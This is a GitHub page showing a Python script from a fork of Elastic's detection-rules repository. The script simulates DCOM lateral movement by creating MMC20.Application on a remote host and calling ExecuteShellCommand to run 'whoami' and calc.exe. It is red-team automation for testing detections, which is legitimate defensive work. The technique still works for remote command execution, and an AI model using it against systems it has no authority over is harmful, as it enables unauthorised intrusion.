forked from elastic/detection-rules
-
Notifications
You must be signed in to change notification settings - Fork 0
/
dcom_lateral_movement_with_mmc.py
41 lines (29 loc) · 1.43 KB
/
dcom_lateral_movement_with_mmc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
# Name: DCOM Lateral Movement with MMC
# RTA: dcom_lateral_movement_with_mmc.py
# ATT&CK: T1175
# Description: Execute a command to simulate lateral movement using Distributed Component Object Model (DCOM) with MMC
import sys
from . import common
@common.requires_os("windows")
def main(remote_host=None):
remote_host = remote_host or common.get_ip()
common.log("DCOM Lateral Movement with MMC")
common.log("Attempting to move laterally to {}".format(remote_host))
remote_host = common.get_ipv4_address(remote_host)
common.log("Using IP address {}".format(remote_host))
# Prepare PowerShell command for DCOM lateral movement
ps_command = """
$dcom=[activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','{remote_host}'));
$dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\cmd.exe',$null,'whoami','7');
$dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\calc.exe',$null,$null,'7');
$dcom.quit();
""".format(remote_host=remote_host)
command = ["powershell", "-c", ps_command]
# Execute command
common.execute(command, timeout=15, kill=True)
if __name__ == "__main__":
exit(main(*sys.argv[1:]))